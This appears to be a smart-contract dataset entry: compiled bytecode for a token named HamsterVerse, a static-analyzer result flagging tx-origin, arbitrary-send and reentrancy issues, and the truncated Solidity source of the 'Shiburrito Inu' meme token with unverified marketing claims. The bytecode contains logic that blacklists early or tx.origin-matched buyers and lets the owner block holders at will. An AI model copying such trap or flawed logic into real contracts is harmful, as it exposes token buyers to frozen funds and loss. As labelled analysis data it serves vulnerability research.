565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ed611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461080d57600080fd5b600d8210801561081d5750600d81105b801561082a5750600a5482105b80156108375750600b5481105b610876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086d9061322e565b60405180910390fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b546040516108b992919061324e565b60405180910390a15050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b600e5481565b6000601060009054906101000a900460ff1680156109695750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156109c25750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610a55573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a54576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b610a60848484611ce1565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610aac611b0e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610af191906132a6565b9050610b0585610aff611b0e565b83611b16565b60019150509392505050565b6000610b1c30610e03565b905090565b600981565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b67611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610b8757600080fd5b60005b8151811015610c1857600060056000848481518110610bac57610bab6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c1090613309565b915050610b8a565b5050565b600f5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbf611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610cdf57600080fd5b60008111610d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d199061339e565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610d5a9190612c44565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd2611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000479050610e0081612684565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e54611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed89061340a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fe0611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461100057600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516110929190613489565b60405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600c81526020017f48616d737465725665727365000000000000000000000000000000000000000081525081565b600061112661111f611b0e565b8484611ce1565b6001905092915050565b611138611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc9061340a565b60405180910390fd5b60005b815181101561133c57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061121d5761121c6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156112b15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106112905761128f6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15611329576001600560008484815181106112cf576112ce6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061133490613309565b9150506111c8565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611381611b0e565b73ffffffffffffffffffffffffffffffffffffffff16146113a157600080fd5b60006113ac30610e03565b90506113b7816126f0565b50565b6113c2611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461144f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114469061340a565b60405180910390fd5b601060009054906101000a900460ff161561149f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611496906134f0565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f81905550670429d069189e0000600d81905550670429d069189e0000600e81905550565b600061150e600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611554611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461157457600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516115cc9190612e13565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611666611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea9061340a565b60405180910390fd5b601060009054906101000a900460ff1615611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a906134f0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117d230600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000611b16565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561181d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118419190613525565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118cc9190613525565b6040518363ffffffff1660e01b81526004016118e9929190613552565b6020604051808303816000875af1158015611908573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192c9190613525565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306119b530610e03565b6000806119c061109d565b426040518863ffffffff1660e01b81526004016119e2969594939291906135b6565b60606040518083038185885af1158015611a00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a25919061362c565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611ac792919061367f565b6020604051808303816000875af1158015611ae6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0a91906136bd565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7d9061375c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed906137ee565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cd49190612c44565b60405180910390a3505050565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d855750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ddb5750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611de457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4b90613880565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ec4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebb90613912565b60405180910390fd5b60008111611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe906139a4565b60405180910390fd5b6000611f1161109d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f7f5750611f4f61109d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125bf57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561202f5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120855750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123bf57601060009054906101000a900460ff166120d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d090613a10565b60405180910390fd5b600f5442141561213c576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b42610258600f5461214d9190613a30565b11156121ac57600e5461215f84610e03565b8361216a9190613a30565b11156121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a290613af8565b60405180910390fd5b5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff166122865760405180604001604052806000815260200160011515815250600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b42610258600f546122979190613a30565b111561237357600d548211156122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d990613af8565b60405180910390fd5b601e426122ef9190613a30565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612372576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236990613b64565b60405180910390fd5b5b42600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff161580156123e85750601060009054906101000a900460ff165b80156124425750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156125be57600f426124549190613a30565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154106124d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ce90613bd0565b60405180910390fd5b60006124e230610e03565b9050600081111561259f57601060029054906101000a900460ff1615612595576064600c54612532600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b61253c9190613bf0565b6125469190613c79565b811115612594576064600c5461257d600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b6125879190613bf0565b6125919190613c79565b90505b5b61259e816126f0565b5b600047905060008111156125b7576125b647612684565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126665750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561267057600090505b61267d8585858486612969565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156126ec573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561272857612727612f39565b5b6040519080825280602002602001820160405280156127565781602001602082028036833780820191505090505b509050308160008151811061276e5761276d6132da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612815573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128399190613525565b8160018151811061284d5761284c6132da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506128b430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b16565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612918959493929190613d68565b600060405180830381600087803b15801561293257600080fd5b505af1158015612946573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b6000612975838361298b565b9050612983868686846129b9565b505050505050565b6000806000905083156129af5782156129a857600a5490506129ae565b600b5490505b5b8091505092915050565b6000806129c68484612b5c565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1591906132a6565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aa39190613a30565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aef81612b9a565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b4c9190612c44565b60405180910390a3505050505050565b600080600060648486612b6f9190613bf0565b612b799190613c79565b905060008186612b8991906132a6565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be59190613a30565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b612c3e81612c2b565b82525050565b6000602082019050612c596000830184612c35565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c99578082015181840152602081019050612c7e565b83811115612ca8576000848401525b50505050565b6000601f19601f8301169050919050565b6000612cca82612c5f565b612cd48185612c6a565b9350612ce4818560208601612c7b565b612ced81612cae565b840191505092915050565b60006020820190508181036000830152612d128184612cbf565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d5982612d2e565b9050919050565b612d6981612d4e565b8114612d7457600080fd5b50565b600081359050612d8681612d60565b92915050565b612d9581612c2b565b8114612da057600080fd5b50565b600081359050612db281612d8c565b92915050565b60008060408385031215612dcf57612dce612d24565b5b6000612ddd85828601612d77565b9250506020612dee85828601612da3565b9150509250929050565b60008115159050919050565b612e0d81612df8565b82525050565b6000602082019050612e286000830184612e04565b92915050565b60008060408385031215612e4557612e44612d24565b5b6000612e5385828601612da3565b9250506020612e6485828601612da3565b9150509250929050565b6000612e7982612d2e565b9050919050565b612e8981612e6e565b82525050565b6000602082019050612ea46000830184612e80565b92915050565b600080600060608486031215612ec357612ec2612d24565b5b6000612ed186828701612d77565b9350506020612ee286828701612d77565b9250506040612ef386828701612da3565b9150509250925092565b600060ff82169050919050565b612f1381612efd565b82525050565b6000602082019050612f2e6000830184612f0a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f7182612cae565b810181811067ffffffffffffffff82111715612f9057612f8f612f39565b5b80604052505050565b6000612fa3612d1a565b9050612faf8282612f68565b919050565b600067ffffffffffffffff821115612fcf57612fce612f39565b5b602082029050602081019050919050565b600080fd5b6000612ff8612ff384612fb4565b612f99565b9050808382526020820190506020840283018581111561301b5761301a612fe0565b5b835b8181101561304457806130308882612d77565b84526020840193505060208101905061301d565b5050509392505050565b600082601f83011261306357613062612f34565b5b8135613073848260208601612fe5565b91505092915050565b60006020828403121561309257613091612d24565b5b600082013567ffffffffffffffff8111156130b0576130af612d29565b5b6130bc8482850161304e565b91505092915050565b6000602082840312156130db576130da612d24565b5b60006130e984828501612d77565b91505092915050565b60006020828403121561310857613107612d24565b5b600061311684828501612da3565b91505092915050565b61312881612d4e565b82525050565b6000602082019050613143600083018461311f565b92915050565b61315281612df8565b811461315d57600080fd5b50565b60008135905061316f81613149565b92915050565b60006020828403121561318b5761318a612d24565b5b600061319984828501613160565b91505092915050565b600080604083850312156131b9576131b8612d24565b5b60006131c785828601612d77565b92505060206131d885828601612d77565b9150509250929050565b7f6c6f77657220746178206f6e6c792e0000000000000000000000000000000000600082015250565b6000613218600f83612c6a565b9150613223826131e2565b602082019050919050565b600060208201905081810360008301526132478161320b565b9050919050565b60006040820190506132636000830185612c35565b6132706020830184612c35565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132b182612c2b565b91506132bc83612c2b565b9250828210156132cf576132ce613277565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061331482612c2b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334757613346613277565b5b600182019050919050565b7f6e6f203000000000000000000000000000000000000000000000000000000000600082015250565b6000613388600483612c6a565b915061339382613352565b602082019050919050565b600060208201905081810360008301526133b78161337b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133f4602083612c6a565b91506133ff826133be565b602082019050919050565b60006020820190508181036000830152613423816133e7565b9050919050565b6000819050919050565b600061344f61344a61344584612d2e565b61342a565b612d2e565b9050919050565b600061346182613434565b9050919050565b600061347382613456565b9050919050565b61348381613468565b82525050565b600060208201905061349e600083018461347a565b92915050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006134da601783612c6a565b91506134e5826134a4565b602082019050919050565b60006020820190508181036000830152613509816134cd565b9050919050565b60008151905061351f81612d60565b92915050565b60006020828403121561353b5761353a612d24565b5b600061354984828501613510565b91505092915050565b6000604082019050613567600083018561311f565b613574602083018461311f565b9392505050565b6000819050919050565b60006135a061359b6135968461357b565b61342a565b612c2b565b9050919050565b6135b081613585565b82525050565b600060c0820190506135cb600083018961311f565b6135d86020830188612c35565b6135e560408301876135a7565b6135f260608301866135a7565b6135ff608083018561311f565b61360c60a0830184612c35565b979650505050505050565b60008151905061362681612d8c565b92915050565b60008060006060848603121561364557613644612d24565b5b600061365386828701613617565b935050602061366486828701613617565b925050604061367586828701613617565b9150509250925092565b6000604082019050613694600083018561311f565b6136a16020830184612c35565b9392505050565b6000815190506136b781613149565b92915050565b6000602082840312156136d3576136d2612d24565b5b60006136e1848285016136a8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613746602483612c6a565b9150613751826136ea565b604082019050919050565b6000602082019050818103600083015261377581613739565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006137d8602283612c6a565b91506137e38261377c565b604082019050919050565b60006020820190508181036000830152613807816137cb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061386a602583612c6a565b91506138758261380e565b604082019050919050565b600060208201905081810360008301526138998161385d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006138fc602383612c6a565b9150613907826138a0565b604082019050919050565b6000602082019050818103600083015261392b816138ef565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061398e602983612c6a565b915061399982613932565b604082019050919050565b600060208201905081810360008301526139bd81613981565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b60006139fa601883612c6a565b9150613a05826139c4565b602082019050919050565b60006020820190508181036000830152613a29816139ed565b9050919050565b6000613a3b82612c2b565b9150613a4683612c2b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a7b57613a7a613277565b5b828201905092915050565b7f332520686f6c6420616e6420627579206c696d697420696e203130206d696e7360008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ae2602183612c6a565b9150613aed82613a86565b604082019050919050565b60006020820190508181036000830152613b1181613ad5565b9050919050565b7f3330732062757920636f6f6c646f776e2e2e2e00000000000000000000000000600082015250565b6000613b4e601383612c6a565b9150613b5982613b18565b602082019050919050565b60006020820190508181036000830152613b7d81613b41565b9050919050565b7f3135732073656c6c20636f6f6c646f776e2e0000000000000000000000000000600082015250565b6000613bba601283612c6a565b9150613bc582613b84565b602082019050919050565b60006020820190508181036000830152613be981613bad565b9050919050565b6000613bfb82612c2b565b9150613c0683612c2b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c3f57613c3e613277565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c8482612c2b565b9150613c8f83612c2b565b925082613c9f57613c9e613c4a565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613cdf81612d4e565b82525050565b6000613cf18383613cd6565b60208301905092915050565b6000602082019050919050565b6000613d1582613caa565b613d1f8185613cb5565b9350613d2a83613cc6565b8060005b83811015613d5b578151613d428882613ce5565b9750613d4d83613cfd565b925050600181019050613d2e565b5085935050505092915050565b600060a082019050613d7d6000830188612c35565b613d8a60208301876135a7565b8181036040830152613d9c8186613d0a565b9050613dab606083018561311f565b613db86080830184612c35565b969550505050505056fea26469706673582212200e38df0ee6e04097d218ad28a8892a225edf519c0abefa15cc47809b9437e5e364736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,483 |
0x4222D60DB5dfC4Eb32429e28dDCdC12CCc84A44c
|
/**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
/*
Shiburrito Inu (SHI🌯)
- Anti-listing-bot
- Whale dumping protection
- Reflection to holders (5%)
- No team tokens
- Cooldown and tax on mass sells
- Initial token burn
- Full liquidity provided and locked
Shiburrito Inu is a new DeFi protocol
that aggregates the yield from the latest
animal tokens. The best meme features are
included to ensure holders are rewarded
while bots and whales are not.
Telegram: t.me/Shiburrito
Website : shiburrito.io
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
